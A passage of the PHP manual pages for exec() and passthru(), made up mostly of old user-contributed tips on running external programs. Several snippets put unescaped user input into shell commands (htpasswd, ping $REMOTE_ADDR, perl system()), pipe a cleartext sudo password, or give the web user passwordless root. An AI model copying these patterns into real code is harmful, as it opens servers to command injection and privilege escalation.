 {  exec ("del c:\\temp\\$fname"); }
 ?>
Zack / Nog 22-Apr-2007 10:23
Hey guys, I just wanted to drop a note after spending , i dunno 6 hours or so on getting exec() to work on an outside program with Win2k3 on IIS6 and PHP installed as an ISAPI module. I originally had it installed with Ensim, but it got confusing, so after a while of it not working I installed the latest PHP 5 binaries.

First thing I did was download the latest PHP 5 Binaries for Windows, but NOT THE INSTALLER. I dunno what the installer does, but I read previously not to use it, so I set it up like that.

After that I went into IIS manager, clicked on Add Extensions, added .PHP and changed the executing location to c:\php\php5isapi.dll. Then I went into the website portion, right clicked on it, went to properties, clicked on the Home site tab, clicked Configure and added an extension with extention = .php and executable = c:\php\php5isapi.dll.

After this , the thing that FINALLY WORKED! was , well, see at first I setup permissions by adding IUSR_MyCompName to the allowed list, and checked Full control, so i thought it had permissions.... Well, it was being overwritten which is what bit me...

I went into the C: drive, and right clicked and went to Properties, clicked on the Security tab, and then clicked on Advanced in the bottom right. If you see any IUSR with Deny, simply remove it.

Then right click on c:\php and do the same, after all Deny's have been deleted (Which override allows, which was my issue), go into c:\php and open the security tab, make sure IUSR_yourcompname is added as allow, and then do the same for c:\yoursoftwarefolder\ so your software has the same permissions.

The deny thing on C: overriding my c:\folder with allow was blowing it all up for me, I deleted the deny and made sure IUSR_mycompname was with full control on my outside apps file, and VUALA !!!

Theres now some trouble with it asking for a confirmation, but i'll figure that out later, i can at least run it without troubles :)

ALSO! DO NOT FORGET! Add C:\php and C:\outsidesoftwarefolder as Environment Variables to the Path variable in your system. It's easy, just right click my comp, properties, click advanced tab, enviornment variable button at the bottom, in the second scrolling list find the one with name of lowercase path, double click it, and on the end, add a semi-colon to end the last folder and type your folder location

so if it was originally c:\test;c:\windows\system32   and you wanna add php, make it read c:\test;c:\windows\system32;c:\php

Hope this helps someone , the thing that helped the most was the Advanced button in the security tab and removing the denies, which take ownership OVER the allows.

... My 2 cents :)
sirnuke at gmail dot com 26-Sep-2006 10:26
Note that on Linux/UNIX/etc, both the command and any parameters you send is visible to anyone with access to ps.

For example, take some php code that calls an external program, and sends a sort of password as a parameter.

<?php
exec("/usr/bin/secureprogram password");
?>

The entire string (actually probably something like "secureprogram password") will be visible to any user that executes ps -A -F.  If you are going to be doing a lot of external calling, or any of it needs to be somewhat secure, you are probably better off writing a php extension.
sinisa dot dukaric at gmail dot com 16-Aug-2006 07:10
Recently I had to do some "root" stuff via PHP - I could do it through cronjob based on the database, but since I was too lazy with doing that, I just wrote a shell script to create all the IMAP stuff, chown properly all the Maildirs and provision the user on the local system.

Executing that command as another user from inside of PHP was like this...

<code>
@exec("echo 'apache' | /usr/bin/sudo -u mail -S /var/www/html/mailset.sh $name");
</code>

"Advantage" is that you can run in this way commands as any sudoer on your system which can be fine-tuned and pretty useful. But again - password is echoed in cleartext and option "-S" tells sudo to take password from stdin which he does of course.
Major security risk - do it only if you really need to run some commands as different users (nologin users) and if you are really lazy :)

Now, my solution is a cronjob which runs every 5 mins and gets datasets from the MySQL table and does the work without exploiting any exec() from within PHP - which is the right way to do it.
Jelsamino 11-May-2006 05:41
If you need generate new data .htpasswd file:

<?php
$command="htpasswd -nb ".$login."".$password;
exec($command,$res);
echo $res[0];
?>

Luck!!!!!!!
29-Mar-2006 04:12
I've done a C program to act as a "timeout controller" process, by forking itself and executing some other command received as parameter.

Then, in PHP I have a function that calls commands this way:

<?php
...
$command = "tout_controller <tout> <command_name> <command_args>"
exec($command,$status);
echo "Exit status code of command is $status";
...
?>

I've noticed that exit status code returned from a C process is a "special" integer.

I wanted "command" exit status code to be returned to controller, and then controller to exit with same status code (to get this status from PHP).
Exit status was always 0 !!!

To solve this, i've found a C macro to use inside tout_controller:

<C code snippet>
..
waitpid(pid,&status,0); // wait for process that execs COMMAND
..
//exit(status); // that doesn't work
exit(WEXITSTATUS(ret)); // that's ok
..
</C code snippet>

It isn't exactly a PHP note, but may be useful to help some desperated programmer's ;)
amandato (at) gmail (period) com 06-Dec-2005 12:51
Running a command that may never time out on a windows server inspired the following code.  The PsExecute() function allows you to run a command and make it time out after a set period of time.  The sleep parameter is the number of seconds the script will pause becore checking if the process is complete.

Code utilizes the PsTools, found here: http://www.sysinternals.com/ntw2k/freeware/pstools.shtml

Copy and paste the following code into an include file:
<?php
// pstools.inc.php

    function PsExecute($command, $timeout = 60, $sleep = 2) {
        // First, execute the process, get the process ID
        $pid = PsExec($command);

        if( $pid === false )
            return false;

        $cur = 0;
        // Second, loop for $timeout seconds checking if process is running
        while( $cur < $timeout ) {
            sleep($sleep);
            $cur += $sleep;
            // If process is no longer running, return true;
            if( !PsExists($pid) )
                return true; // Process must have exited, success!
        }

        // If process is still running after timeout, kill the process and return false
        PsKill($pid);
        return false;
    }

    function PsExec($command) {
        exec( dirname(__FILE__). "\\psexec.exe -s -d $command  2>&1", $output);

        while( list(,$row) = each($output) ) {
            $found = stripos($row, 'with process ID ');
            if( $found )
                return substr($row, $found, strlen($row)-$found-strlen('with process ID ')-1); // chop off last character '.' from line
        }

        return false;
    }

    function PsExists($pid) {
        exec( dirname(__FILE__). "\\pslist.exe $pid 2>&1", $output);

        while( list(,$row) = each($output) ) {
            $found = stristr($row, "process $pid was not found");
            if( $found !== false )
                return false;
        }

        return true;
    }

    function PsKill($pid) {
        exec( dirname(__FILE__). "\\pskill.exe $pid", $output);
    }
?>

Place the above include file and the PsTools from (http://www.sysinternals.com/ntw2k/freeware/pstools.shtml) in the same directory.
simoncpu 29-Nov-2005 11:48
Sometimes, it is convenient to let exec() return the status of the executed command, rather than return the last line from the result of that command.  In Unix, just do:

    $ret = exec('foo; echo $?');

Remember not to overdo it though. ;)

[ simon.cpu ]
Bob-PHP at HamsterRepublic dot com 18-Oct-2005 11:00
exec strips trailing whitespace off the output of a command. This makes it impossible to capture signifigant whitespace. For example, suppose that a program outputs columns of tab-delimited text, and the last column contains empty fields on some lines. The trailing tabs are important, but get thrown away.

If you need to preserve trialing whitespace, you must use popen() instead.
clive at pluton dot co dot uk 15-Oct-2005 03:35
When trying to run an external command-line application in Windows 2000 (Using IIS), I found that it was behaving differently from when I manually ran it from a DOS prompt.

Turned out to be an issue with the process protection. Actually, it wasn't the application itself that was having the problem but one it ran below it! To fix it, open computer management, right-click on Default Web Site, select the Home Directory tab and change Application Protection to 'Low (IIS Process)'.

Note, this is a rather dangerous thing to do, but in cases where it's the only option...
rivera at spamjoy dot unr dot edu 06-Oct-2005 01:17
windExec() reloaded:
* unique timestamp name was probably a good idea for multiple instances of function running @ same time
* includes handy FG/BG parameter

<?php
define ('EXEC_TMP_DIR', 'C:\tmp');

function windExec($cmd,$mode=''){
    // runs a command line and returns
    // the output even for Wind XP SP2
    // example: $cmd = "fullpath.exe -arg1 -arg2"
    // $outputString = windExec($cmd, "FG");
    // OR windExec($cmd);
    // (no output since it runs in BG by default)
    // for output requires that EXEC_TMP_DIR be defined

    // Setup the command to run from "run"
    $cmdline = "cmd /C $cmd";

    // set-up the output and mode
    if ($mode=='FG'){
        $outputfile = EXEC_TMP_DIR . "\\" . time() . ".txt";
        $cmdline .= " > $outputfile";
        $m = true;
    }
    else $m = false;

    // Make a new instance of the COM object
    $WshShell = new COM("WScript.Shell");

    // Make the command window but dont show it.
    $oExec = $WshShell->Run($cmdline, 0, $m);

    if ($outputfile){
        // Read the tmp file.
        $retStr = file_get_contents($outputfile);
        // Delete the temp_file.
        unlink($outputfile);
    }
    else $retStr = "";

    return $retStr;
}
ewilde 20-Sep-2005 04:55
To my way of thinking, it is a good idea to execute programs from the cgi-bin directory of the Web server, to get a little control over configuring a system (at install time, a pointer to the actual program can be symlinked from the cgi-bin directory and the code won't ever have to be changed).  If you'd like to do this, under Apache at least, the following should work:

<?php
  if (!($ProgInfo = apache_lookup_uri(/cgi-bin/myprog)))
    $ProgPath = /usr/bin/myprog;
  else
    {
    if (is_object($ProgInfo)) $ProgPath = $ProgInfo->filename;
    else $ProgPath = $ProgInfo["filename"];
    }

exec("$ProgPath ...");
?>
mbirth at webwriters.de 13-Sep-2005 11:42
I had to combine many PDFs into a single one using pdftk and did this by writing the commands into a batch file and running it with exec('cmd /c blabla.cmd').

Using batch files under Windows, there's a line-length-limit of 1024 characters. So I made sure each line in the batch file doesn't exceed 1024 characters.

I now switched over to using exec('start /b ...') directly with the desired command (instead of writing it into a batch file and calling that) and played around with the line-length. Seems like the exec() command works with command-strings of up to 4096 characters in length. If the string is longer, it won't be executed.
CJ [AT] TBG 08-Sep-2005 10:41
[EXEC] on [Windows]

Finally a simple way to get exec working w/o launching a black box window.

just do: exec('start /B "window_name" "path to your exe"',$output,$return);

The important part is the /B which makes it run in the background.
p dot koeman at wittenborg-university dot com 29-Aug-2005 06:22
Using sudo (http://www.sudo.ws/) to exec system commands from PHP

This is a secure way to use sudo from PHP to perform sysadmin tasks from a php webapplication. (can be used with exec or passthru)

- Make a PHP script in the WWW root directory : client.php

[/home/mywebdir/html/client.php]
<?php
passthru('echo hello world | sudo /usr/bin/php -f /home/server.php');
?>

- Make a PHP script outside the WWW directory : server.php

[/home/server.php]
<?php
echo join('',file('php://stdin'));
?>

Add a line to /etc/sudoers

[in /etc/sudoers]
www    ALL=(ALL) NOPASSWD: /usr/bin/php -f /home/server.php

Now execute client.php in the webbrowser (as www user)
- client.php will execute sudo
- sudo will execute server.php by php as root !

In server.php you can do everything you like requiring root privileges. BEWARE ! every php script can now execute server.php, make it secure ! (filter parameters etc.)

I have tested this method and it works !
Kind regards, Pim Koeman
Wittenborg-University, Deventer, the Netherlands
http://www.wittenborg-university.com
vdweij at hotmail dot com 09-Aug-2005 04:18
It is possible to only capture the error stream (STERR). Here it goes...

(some_command par1 par2 > /dev/null) 3>&1 1>&2 2>&3

-First STDOUT is redirected to /dev/null.
-By using parenthesis it is possible to gain control over STERR and STOUT again.
-Then switch STERR with STOUT.

The switch is using the standard variable switch method -- 3 variables (buckets) are required to swap 2 variables with each other. (you have 2 variables and you need to switch the contents - you must bring in a 3rd temporary variable to hold the contents of one value so you can properly swap them).

This link gave me this information:
http://www.cpqlinux.com/redirect.html
netshadow at madpoets dot org 05-Apr-2005 07:13
For Win2k/XP systems, and probably NT as well, after beating my head against a wall for a few days on this, I finally found a foolproof way of backgrounding processes and continuing the script.

For some strange reason I just could not seem to get backgrounding to work with either system or exec, or with the wsh.run method for that matter.  I have used all three in the past with success, but it just wasn't happening this time.

What I finally wound up doing was using psexec from the pstools package found at http://www.sysinternals.com/ntw2k/freeware/pstools.shtml

You would use it like:

exec("psexec -d blah.bat");

which will start and immediately background blah.bat and immediately resume running the rest of the php script.
bitminer at example dot com 19-Mar-2005 10:24
I am posting this as I see quite a few people looking to create a web based interface to their MP3 player (XMMS or really what ever you want to call from the command line) on Linux.  Alas, I am not the only one, and  I did not think of it first ( suppose I have to result to other get rich quick schemes).  And even if there were a direct downloadable utility (as there is XMMS-Control) you, like me, probably want the bowl of porage that is just right.  Which means you want to make your own because current versions of X, Y, or Z just don't do what you want.

Most of the hard work is at the linux command shell (ugh! - I heard that!  Drop and give me 20 command line scripts!)

login as root

ensure /dev/dsp has the proper access privileges
chmod a+rw /dev/dsp

add apache to the local list of users for the xserver.
xhost +local:apache@

You should see the following if apache is not added to the xserver.

Xlib: connection to ":0.0" refused by server
Xlib: No protocol specified

** CRITICAL **: Unable to open display

And I am sure that error is as clear to you as it was to me!

NOTE !!! only change the following for testing purposes so that you can su to apache from root and test xmms !!!!

Temporarily change the line

apache:x:48:48:Apache:/var/www:/sbin/nologin

To
apache:x:48:48:Apache:/var/www:/bin/bash

so that you can test out apache access to the Xserver and XMMS.

su apache
xmms
!!! Play a file - Don't just read this actually play a file!!!  The reason is that if it fails xmms will likely give an error you can track down like a greyhound chases that little bunny at the dog track! (speaking of get rich quick schemes)

And for the grand finale!

If you can call xmms from the command line you can likely do the following (unless you are running php in safe mode).  Ensure that the wav, mp3, or whatever you decide to test it with is accessible to apache.  I put the file into /var/www/html/icould.wav and chmod a+rw icould.wav

<?php
echo ' Executing XMMS ';
// note you could use system too!
//echo system( '/usr/bin/xmms --play icould.wav', $retval );
exec ('/usr/bin/xmms --play icould.wav');
?>

At your browser ensure you hit shift+refresh(button) so your browser doesn't give you a cahed the web page.

Brian J. Davis
david houlder 22-Feb-2005 03:47
The note regarding how exec() works under safe_mode is wrong.

echo y | echo x does not become echo "y | echo x". It essentially becomes echo "y" "|" "echo" "x". The entire string is  passed through escapeshellcmd(), which effectively splits arguments at spaces. Note that this makes it impossible to reliably pass arguments containing spaces to exec() in safe_mode. Since 4.3.3 escapeshellcmd() tries to pass quoted arguments through (so you could try exec("cmd 'arg 1' 'arg 2'")), but not on win32, and will still wrongly backslash escape any punctuation characters inside the quotes.

Not only can the path not contain '..' components, but no directory or filename can contain the string '..'. e.g. /path/to/my..executable will refuse to run.
layton at layton dot tk 18-Jan-2005 03:52
This is the second time this one got me, I thought someone else might find this note useful too.

I am creating a long running exec'd process that I can access with page submissions up to 2 hours later. The problem is this, the first time I access the page everything works like it should. The second time the web browser waits and waits and never gets any messages -- the CPU time is not affected so it is apparent that something is blocked.

What is actually happening is that all of the open files are being copied to the exec'd process -- including the network connections. So the second time I try to access the web page, I am being given the old http network connection which is now being ignored.

The solution is to scan all file handles from 3 on up and close them all. Remember that handles 0, 1, and 2 are standard input, standard output, and standard error.
13-Jan-2005 04:38
I wanted my script to:

* execute an external command.
* check if the execution was ok. (i.e. the return level)
* log the error output if the execution wasn't ok.
* not print the command's output in my script's output.

I saw the exec, system, shell_exec and passthru functions, and deduced that the solution was to redirect the standard error (stderr) to the standard output (stdout). It's not very clean, since it mixes stderr with stdout, and I only wanted to log the stderr. But it seems to be the only solution (suggestions are welcome).

This is the code I use:

<?php

$com= "ls";     # command

exec("$com 2>&1", $out, $err);
if ($err) my_log_func(join("\n", $out));

?>
chads2k2.yahoo.com 13-Dec-2004 10:38
This will execute a exectuable from the
command window without the command
window even being seen.

Much help was given by Michael Sheakoski
as he stated below this in one of his other
scripts.  The problem I had was that I want
to have arguments be sent to the .exe.

This will run the exe and then whatever it
returned will be dealt with.

Tested with:
Windows XP Pro SP1
Apache2
PHP 4.3.x
IIS6 as well

Here is the snippet.
<?php
// Get a good ol' timestamp.  Unique and it works.
$unixtime = time();

// Sets up your exe or other path.
$cmd = 'C:\\path\\to\\program\\argue2.exe';

// Setup an array of arguments to be sent.
$arg[] = '1';
$arg[] = '2';
$arg[] = '3';
$arg[] = '4';
$arg[] = '5';

// Pick a place for the temp_file to be placed.
$outputfile = 'C:\\path\\to\\tmp\\unixtime.txt';

// Setup the command to run from "run"
$cmdline = "cmd /C $cmd " . implode(' ', $arg) . " > $outputfile";

// Make a new instance of the COM object
$WshShell = new COM("WScript.Shell");

// Make the command window but don't show it.
$oExec = $WshShell->Run($cmdline, 0, true);

// Read the file file.
$output = file($outputfile);

// Delete the temp_file.
unlink($outputfile);

// Take the output and break the array apart.
// If you don't know what is coming out do:
// print_r("$output");
foreach($output as $temp_output)
{
   // Check the output's return code.
   if($temp_output == 1)
   {
      // Tell the user it was correct.
      echo "All is good";
   }else{
      // Tell the user something goofed.
      echo "Didn't go smoothly.";
   }
}
?>
13-Oct-2004 09:46
if you want to use rsh and nohup, you should do this:

<?php
   //...
   exec("nohup  rsh -n *command* 1>/dev/null/ 2>&1 &");
   //..
?>

or

<?php
   //...
   exec("nohup  rsh -n *command* 1>result.log 2>&1 &");
   //...
?>
php-contrib at i-ps dot net 12-Oct-2004 06:30
I had a bit of trouble using exec with Windows when passing a parameter to a PHP script file. I found I needed to create a Windows batch "wrapper" file to get the script file to accept the optional argument.

1) PHP script file exists:
  c:\www\script.php

2) PHP is installed in:
  c:\www\php\

3) BAT file contains:
  @c:\www\php\cli\php.exe c:\www\script.php %1

and is saved as:
  c:\www\script.bat

4) Use exec statement from PHP:
  exec("c:\www\script.bat $arg", $output);

If you want to pass more than one argument, carry on with %2, %3, %4, ..., ... in your BAT file.

Hope this helps somebody
msheakoski @t yahoo d@t com 08-Jul-2004 08:40
I too wrestled with getting a program to run in the background in Windows while the script continues to execute.  This method unlike the other solutions allows you to start any program minimized, maximized, or with no window at all.  llbra@phpbrasil's solution does work but it sometimes produces an unwanted window on the desktop when you really want the task to run hidden.

start Notepad.exe minimized in the background:

<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("notepad.exe", 7, false);
?>

start a shell command invisible in the background:
<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("cmd /C dir /S %windir%", 0, false);
?>

start MSPaint maximized and wait for you to close it before continuing the script:
<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("mspaint.exe", 3, true);
?>

For more info on the Run() method go to:
http://msdn.microsoft.com/library/en-us/script56/html/wsMthRun.asp
llbra@phpbrasil 05-Jul-2004 05:30
If you want to run somenthing but php just keep processing data and don�t answer until the program is closed (run in background mode, without interfering the program), from the note ( If you start a program using this function ... PHP will hang until the execution of the program ends ), jonas function will certainly be useful for you:

<?php
function execInBackground($path, $exe, $args = "") {
   global $conf;

   if (file_exists($path . $exe)) {
       chdir($path);
       if (substr(php_uname(), 0, 7) == "Windows"){
           pclose(popen("start \"bla\" \"" . $exe . "\" " . escapeshellarg($args), "r"));
       } else {
           exec("./" . $exe . " " . escapeshellarg($args) . " > /dev/null &");
       }
   }
}
?>

Thank you Jonas. It has been very useful for me.
until-june-04 at daniu dot de 13-May-2004 03:27
Hi!

I just want to add a note to the function "jonas DOT info AT gmx DOT net" contributed to keep processes running in the background.

Not like with the other exec/system/passthru etc. functions if you want to execute a batch file on a MS-machine you need to add a simple exit in the last line of your batch-file otherwise the CMD task does not close and your server will be filled with dead processes ... No idea what happens with other programs .
nehle at dragonball-se dot com 21-Oct-2003 02:59
Remember that some shell commands in *NIX needs you to set a TERM enviroment. For example:
<?php
exec('top n 1 b i', $top, $error );
echo nl2br(implode("\n",$top));
if ($error){
    exec('/usr/bin/top n 1 b 2>&1', $error );
    echo "Error: ";
    exit($error[0]);
}
?>
This will echo "Error: TERM enviroment variable not set. " To fix it, add  TERM=xterm (Or some other terminal) to the exec-statement, like this

<?php
exec('TERM=xterm /usr/bin/top n 1 b i', $top, $error );
echo nl2br(implode("\n",$top));
if ($error){
    exec('TERM=xterm /usr/bin/top n 1 b 2>&1', $error );
    echo "Error: ";
    exit($error[0]);
}
?>
colet at putnamhill dot net 26-Sep-2003 03:34
Technique for debuging php in *nix environments:

SSH to your php directory and enter the following:

   mkfifo -m 772 .debug
   tail -f .debug

Now in your php scripts direct debug messages to the debug FIFO with:

   exec("echo \"Some debug statement or $var\" > .debug");

When the php executes, you can watch the output in your terminal app.

This is helpful in situations where it's awkward to debug in a browser (i.e. header commands).
jonas DOT info AT gmx DOT net 12-Sep-2003 09:24
On WinXP with Apache2 and PHP 4.3.3 you cannot start a program in background with exec and start. you have to do the following. This function should work on Windows and Unix, too.

<?php
function execInBackground($path, $exe, $args = "") {
    global $conf;

    if (file_exists($path . $exe)) {
        chdir($path);
        if (substr(php_uname(), 0, 7) == "Windows"){
            pclose(popen("start \"bla\" \"" . $exe . "\" " . escapeshellarg($args), "r"));
        } else {
            exec("./" . $exe . " " . escapeshellarg($args) . " > /dev/null &");
        }
    }
}
?>

I have this tested in Win XP and SUSE Linux with Apache and PHP 4.3.3.
mauroi at digbang dot com 03-Sep-2003 09:18
Well, after hours of fighting with output redirection, input redirection, error redirection, session_write_close (), blah blah blah, I think I found an easy way to execute a program in background. I used the following command:

Proc_Close (Proc_Open ("./command --foo=1 &", Array (), $foo));

With the second argument you tell proc_open not to open any pipe to the new process, so you don't have to worry about anything. The third argument is only needed because it's not optional. Also, with the '&' operator the program runs in background so the control is returned to PHP as soon as Proc_Close is executed (it doesn't have to wait).
In my case I don't use the user session in the executed script (there's no way it can be identified if it is not sended as a cookie or URL) so there's no need for session_write_close (correct me if I'm wrong with this).
It worked for me.
bishupaulose at yahoo dot com 19-Jun-2003 11:46
Using ping function in PHP
---------------------------------------

You can use the extended version of this program to check the network status and later you can add HTTP.FTP.POP3 and SMTP protocols as its part.

Access the content of exec from a variable, make radio buttons for each protocol and change the value of variable according to te radio button selection.

[Use ping with count and deadline]

<META http-equiv="Refresh" content="3">
<?php
  $str=exec("ping -c 1 -w 1 192.168.1.216",$a,$a1);
  print "<table>";
  if(strlen($str)>1){
     print"<tr><td bgcolor='#fff000'>present</td></tr>";
  }else{
     print"<tr><td bgcolor='#000000'>Not present</td></tr>";
  }
 print "</table> ";
?>
matt at nexxmedia dot com 11-Jun-2003 01:38
[ Editor's note: When passing multiple args in a URL like this, be sure to enclose the URL in quotes otherwise the & will be interpreted as a detachment flag and the rest of the command will be truncated. ]

The lynx browser can be used as simple way of executing a script from a remote location without waiting for it to complete:

$command = "/usr/bin/lynx -dump https://www.anotherserver.com?var=blah >/dev/null &";
exec($command);
marc at thewebguys dot com dot au 26-Feb-2003 07:51
I wrote a simple ping user function, useful for automatically determining wether to show high bandwidth content or calculating download times.

<?php
function PingUser() {
  global $REMOTE_ADDR;
  return ereg_replace(" ms","",end(explode("/",exec("ping -q -c 1 $REMOTE_ADDR"))));
  }
?>

It returns a number representing the milli seconds it took to send and receive packets from the user.
iceburn at dangerzone dot c o m 09-Sep-2002 05:20
This seems to work for me on win2k server w/ iis 5  w/ php 4.2.2....

<?php
if(getenv("OS")!="Windows_NT")
 {
  echo "This script runs only under Windows NT";
 }

 $tmp = exec("usrstat.exe Domain", $results);

foreach ($ping_results as $row) echo $row . "<br>";
 echo "done";
?>

For those that don't know what usrstat is, it's a program that is the admin pack for win2k that lists users in a domain and thier last logon time.  I used it as the example to show that arguments can be passed (the domain).

The one "gotcha" is that usrstat.exe must be in the system path...ie if you are at the server w/ a command window, anything you can type w/o typing in a path, works.  Try it with ping, since that should be in system32 for just about everyone...

I've tried things like:
exec("c:\temp\usrstatexe...
exec("cmd /c c:\temp\usrstat.exe...

but can't seem to get anywhere with those...

even putting the exe on a shared drive with identical paths for the client and server to the exe doesn't work (don't know why that would fix it, but was just trying things...)
ronperrella at NOSPAM dot hotmail dot com 06-Aug-2002 11:04
I ran into the problem of not being able to set environment variables for my kornshell scripts. In other words, I could not use putenv() (at least to my understanding).

The solution I used was to write a script on the fly, then execute that script using exec().

<?php
$prgfile = tempnam("/tmp", "SH");
chmod($prgfile, 0755);
$fp = fopen($prgfile, "w");
fwrite($fp, "#!/bin/ksh\n");
fwrite($fp, "export MYENV=MYVALUE\n");
fwrite($fp, "ls -l\n"); // or whatever you wanna run
fclose($fp);
exec($prgfile, $output, $rc);
?>

then delete the temp file (I keep it around for debugging.)
me at jcornelius dot com 15-May-2002 10:06
Note that when in 'Safe Mode' you must have the script or program you are trying to execute in the 'safe_mode_exec_dir'. You can find out what this directory is by using phpinfo().
hans at internit dot NO_SPAM dot com 02-Feb-2002 02:25
From what I've gathered asking around, there is no way to pass back a perl array into a php script using the exec function.

The suggestion is to just print out your perl array variables at the end of your script, and then grabbing each array member from the array returned by the exec function. If you will be passing multiple arrays, or if you need to keep track of array keys as well as values, then as you print each array or hash variable at the end of your perl script, you should concatenate the value with the key and array name, using an underscore, as in:

foreach (@array) print "(array name)_(member_key)_($_)" ;

Then you would simply iterate through the array returned by the exec function, and split each variable along the underscore.

Here I like to especially thank Marat for the knowledge. Hope this is useful to others in search for similar answer!
ryan at imagesmith dot com 17-Jul-2001 03:47
Some sites provide an htpasswd program that doesn't allow the -b switch (i.e. batch adding).
  So I've used this to add a user.  (This is all one line of code.  Sorry it looks so intense here).

<?php
  system("perl -e \"print \\\"$UserName:\\\" . crypt('$Password', join '', ('.', '/', 0..9, 'A'..'Z', 'a'..'z')[rand 64, rand 64]) . \\\"\\n\\\";\" >> $path_to_pass_file");
?>
ary at communicationfactory dot com 13-Jun-2001 04:10
Remember to use unix exit(0); on unix calls that use Unix redirection operator ">" . This was a real problem for me, I was not getting a response back in the following code until I added exit(0);

<?PHP
function myspawn()
{
 $command="/usr/local/bin/mybinary infile.txt > outfile.tx2";
 exec($command);
 ## nothing worked for me until I added this next line.
 exec("exit(0)");
}
?>
<html>
<head>
<title>New Page 1</title>
</head>
<body>
Creating output file now
<?  myspawn();?>
</body>
</html>
pkshifted at slackin dot com 07-Mar-2001 11:24
If you want to use exec() to start a program in the background, and aren't worried about load (because the program can only run one instance or you will manually stop it before starting it again) you can use either of these methods to leave it running in the background indefinately.

Add set_time_limit(some ridiculously huge number)  to your script, cause even though it won't stop it, it does seem to allow it to run longer than usual.
...or...
exec("nohup *command* 1>/dev/null/ 2>&1 &");

Thanks to the guys on the php list for helping me solve this unusual(?) problem.
bens_nospam at benjamindsmith dot com 15-Feb-2001 01:19
ON A LINUX SYSTEM:

Note that the exec() function calls the program DIRECTLY without any intermediate shell. Compare this with the backtick operator that executes a shell which then calls the program you ask for.

This makes the most difference when you are trying to pass complex variables to the program you are trying to execute - the shell can interpret your parameters before passing them thru to the program being called - making a dog's breakfast of your input stream.

Remember: exec() calls the program DIRECTLY - the backtick (and, I THINK, the system() call) execute the program thru a shell.

-Ben
escapeshellcmd
passthru
Program execution Functions


Execute an external program and display raw output

exec
proc_close
Program execution Functions
PHP Manual

passthru

(PHP 4, PHP 5)

passthru — Execute an external program and display raw output

Description

void passthru ( string $command [, int &$return_var ] )

The passthru() function is similar to the exec() function in that it executes a command. This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser. A common use for this is to execute something like the pbmplus utilities that can output an image stream directly. By setting the Content-type to image/gif and then calling a pbmplus program to output a gif, you can create PHP scripts that output images directly.

Parameters

command

The command that will be executed.

return_var

If the return_var argument is present, the return status of the Unix command will be placed here.

Return Values

No value is returned.

Notes

Warning

When allowing user-supplied data to be passed to this function, use escapeshellarg() or escapeshellcmd() to ensure that users cannot trick the system into executing arbitrary commands.

Note:

If a program is started with this function, in order for it to continue running in the background, the output of the program must be redirected to a file or another output stream. Failing to do so will cause PHP to hang until the execution of the program ends.

Note: When safe mode is enabled, you can only execute files within the safe_mode_exec_dir. For practical reasons, it is currently not allowed to have .. components in the path to the executable.

Warning

With safe mode enabled, the command string is escaped with escapeshellcmd(). Thus, echo y | echo x becomes echo y \| echo x.

See Also

  • exec() - Execute an external program
  • system() - Execute an external program and display the output
  • popen() - Opens process file pointer
  • escapeshellcmd() - Escape shell metacharacters
  • backtick operator

User Contributed Notes

myselfasunder at gmail dot com dot dfvuks 29-Nov-2010 01:00
PHP's program-execution commands fail miserably when it comes to STDERR, and the proc_open() command doesn't work all that consistently in non-blocking mode under Windows.

This command, although useful, is no different. To form a mechanism that will see/capture both STDOUT and STDERR output, pipe the command to the 'tee' command (which can be found for Windows), and wrap the whole thing in output buffering.

Dustin Oprea
houston_roadrunner at yahoo dot com 27-Oct-2010 10:16
It is worth noting that the passthru can be picky about the quotes used...

this does not work.
passthru("'lp -d ".$printer." /var/www/BE2/java2/deliveryticket/".$store."/".$filename."'");

but this does.
passthru("lp -d $printer /var/www/BE2/java2/deliveryticket/$store/$filename");

tested on debian sarge...
ignacio paz posse 06-Apr-2010 07:15
I'd like to refer about the use of use of passthru as a substitute to include or require which I didn't see before. It helped me to workaround a problem with a script which fatally failed only when included or required. I presume that it had to be with recursive includes because there where memory exhaustion messages that didn't get fixed even when increasing the memory limit with ini_set().  As I had no time to re-code it, the fix of the problem was to get the output of the script  via a passthru call.

Something like this:
<?php
# ...
# (function stuff)
ob_start();
passthru("php myscript.php, $result");
$content_grabbed=ob_get_contents();
ob_end_clean();

if($result=0){
 echo '<div>',$content_grabbed,'</div>';
}_
# (more function stuff)
# ...
?>

I don't know about drawbacks that this method might have. Maybe and increased overhead? Anyway I was happy to circumvent the problem with it.
Chroot 29-Jul-2008 09:48
If you have chrooted apache and php, you will also want to put /bin/sh into the chrooted environment. Otherwise, the exec() or passthru() will not function properly, and will produce error code 127, file not found.
jo at durchholz dot org 22-Nov-2007 12:17
Note to Paul Giblock: the command *is* run through the shell.
You can verify this on any Linux system with

<?php
passthru ('echo $PATH');
?>

You'll get the content of the PATH environment variable, not the string $PATH.
Paul Giblock 18-May-2007 11:30
Stuart:

The pasthru function does not execute the program through the shell.  What this mean, among other things, is that your PATH variable is never set.  Therefore, you have to use full paths on everything.

I believe system() will run your program underneith a shell.  This allow the program to run in a 'normal' environment.

-Paul
nuker at list dot ru 03-Jan-2006 05:51
I wrote function, that gets proxy server value from the Internet Explorer (from
registry). It was tested in Windows XP Pro

(Sorry for my English)

<?php
function getProxyFromIE()
{
        exec("reg query \"HKEY_CURRENT_USER\Software\Microsoft".
        "\Windows\CurrentVersion\Internet Settings\" /v ProxyEnable",
        $proxyenable,$proxyenable_status);

        exec("reg query \"HKEY_CURRENT_USER\Software\Microsoft".
        "\Windows\CurrentVersion\Internet Settings\" /v ProxyServer",
        $proxyserver);

        if($proxyenable_status!=0)
        return false; #Can't access the registry! Very very bad...
        else
        {
        $enabled=substr($proxyenable[4],-1,1);
        if($enabled==0)
        return false;
        else
        {
        $proxy=ereg_replace("^[ \t]{1,10}ProxyServer\tREG_SZ[ \t]{1,20}","",
        $proxyserver[4]);

        if(ereg("[\=\;]",$proxy))
        {
             $proxy=explode(";",$proxy);
             foreach($proxy as $i => $v)
             {
                   if(ereg("http",$v))
                   {
                   $proxy=str_replace("http=","",$v);
                   break;
                   }
             }
             if(@!ereg("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\:".
             "[0-9]{1,5}$",$proxy))
             return false;
             else
             return $proxy;
        }
        else
        return $proxy;
        }

        }
}
?>
Note, that this function returns FALSE if proxy is disabled in Internet
Explorer. This function returns ONLY HTTP proxy server.

Usage:
<?php
$proxy=getProxyFromIE();
if(!$proxy)
echo "Can't get proxy!";
else
